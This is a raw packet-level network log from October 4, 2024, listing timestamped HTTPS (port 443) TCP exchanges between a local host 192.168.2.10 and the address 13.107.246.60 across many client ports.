Oct 4, 2024 15:53:53.709208012 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.709218979 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.709276915 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.709301949 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.709346056 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.709419012 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.709425926 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:53.709481001 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:53.709491014 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.271914959 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.272607088 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.272623062 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.273226976 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.273231983 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.344329119 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.344891071 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.344918966 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.345376968 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.345387936 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.361773968 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.362452984 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.362859011 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.362890005 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.363663912 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.363673925 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.365039110 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.365060091 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.365389109 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.365397930 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.380377054 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.380409956 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.380455017 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.380475044 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.380733013 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.380733013 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.380759954 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.380774021 CEST	49836	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.380779982 CEST	443	49836	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.383160114 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.383208990 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.383317947 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.383462906 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.383481026 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.394654989 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.395145893 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.395174980 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.395726919 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.395733118 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.459647894 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.459726095 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.459934950 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.460182905 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.460205078 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.460217953 CEST	49837	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.460223913 CEST	443	49837	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.463459969 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.463504076 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.463570118 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.463757992 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.463771105 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.468226910 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.468317986 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.468452930 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.468830109 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.468841076 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.468849897 CEST	49838	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.468853951 CEST	443	49838	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.471271038 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.471436024 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.471463919 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.471509933 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.471565008 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.471637964 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.471637964 CEST	49839	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.471657038 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.471657991 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.471668959 CEST	443	49839	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.471859932 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.471877098 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.474025011 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.474057913 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.474301100 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.474301100 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.474332094 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.512909889 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.513077021 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.513128042 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.513133049 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.513190031 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.513381004 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.513397932 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.513417006 CEST	49840	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.513422966 CEST	443	49840	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.516608953 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.516655922 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:54.516746044 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.516918898 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:54.516935110 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.045150042 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.049209118 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.049225092 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.049881935 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.049890041 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.115211010 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.115829945 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.115849972 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.116384029 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.116388083 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.134913921 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.135488987 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.135515928 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.136008024 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.136014938 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.150520086 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.150721073 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.150799990 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.150970936 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.151066065 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.151084900 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.151096106 CEST	49841	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.151102066 CEST	443	49841	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.151557922 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.151588917 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.152034044 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.152039051 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.154952049 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.154995918 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.155198097 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.155416965 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.155430079 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.163897991 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.164685965 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.164700031 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.165429115 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.165433884 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.217627048 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.217653990 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.217700958 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.217741013 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.217776060 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.218064070 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.218085051 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.218095064 CEST	49844	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.218101025 CEST	443	49844	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.221009970 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.221035957 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.221138954 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.221293926 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.221304893 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.243767977 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.244225025 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.244316101 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.244374990 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.244398117 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.244410038 CEST	49842	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.244416952 CEST	443	49842	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.247008085 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.247065067 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.247172117 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.247307062 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.247324944 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.261300087 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.261897087 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.262209892 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.262254953 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.262254953 CEST	49843	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.262276888 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.262288094 CEST	443	49843	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.264692068 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.264730930 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.264822960 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.264977932 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.264991999 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.267597914 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.267671108 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.268196106 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.268251896 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.268271923 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.268285990 CEST	49845	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.268291950 CEST	443	49845	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.270615101 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.270649910 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.270828962 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.271018982 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.271028996 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.793622971 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.801028967 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.801060915 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.801974058 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.801991940 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.860807896 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.896734953 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.897133112 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.897180080 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.897412062 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.898364067 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.898391962 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.902661085 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.902688980 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.903678894 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.907860041 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.910921097 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.910933971 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.910963058 CEST	49846	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.910969973 CEST	443	49846	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.920969963 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.931391001 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.931418896 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.935985088 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.935993910 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.940498114 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.940512896 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.940958023 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.940965891 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.941116095 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.941128969 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.941474915 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.941478968 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.978176117 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.978221893 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.978306055 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.978915930 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:55.978929043 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.998169899 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:55.998677969 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.002252102 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.002480030 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.002501965 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.002513885 CEST	49847	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.002521038 CEST	443	49847	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.029005051 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.029036045 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.029094934 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.030006886 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.030018091 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.035895109 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.036021948 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.036192894 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.036544085 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.036544085 CEST	49849	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.036560059 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.036567926 CEST	443	49849	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.038697958 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.038707972 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.038726091 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.038733959 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.038785934 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.038785934 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.038788080 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.038811922 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.038830996 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.038876057 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.039020061 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.039020061 CEST	49850	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.039026022 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.039032936 CEST	443	49850	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.040663004 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.040689945 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.040704012 CEST	49848	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.040710926 CEST	443	49848	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.043416023 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.043450117 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.043567896 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.045370102 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.045370102 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.045384884 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.045433044 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.045557022 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.046133995 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.046140909 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.056150913 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.056164980 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.056229115 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.056833982 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.056843042 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.627300978 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.628267050 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.628293037 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.628778934 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.628783941 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.685985088 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.687468052 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.687469006 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.687489033 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.687503099 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.700474977 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.701616049 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.701632023 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.702383041 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.702389002 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.706962109 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.707901001 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.707910061 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.708345890 CEST	49852	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.708349943 CEST	443	49852	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.744326115 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.744448900 CEST	443	49851	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.744942904 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.744942904 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.744944096 CEST	49851	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.747921944 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.747961998 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.748200893 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.748200893 CEST	49856	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.748224020 CEST	443	49856	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.781932116 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.784198999 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.784198999 CEST	49854	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.784219027 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.784235001 CEST	443	49854	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.799467087 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.799654007 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.802026987 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.804773092 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.804773092 CEST	49853	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.804780006 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.804788113 CEST	443	49853	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.808734894 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.808778048 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.808948040 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.809406042 CEST	49857	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.809416056 CEST	443	49857	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.812016010 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.812154055 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.812263012 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.812289953 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.812305927 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.812319994 CEST	49855	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.812325954 CEST	443	49855	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.815232992 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.815258980 CEST	443	49858	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:56.815402985 CEST	49858	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:56.815813065 CEST	49858	443	192.168.2.10	13.107.246.60
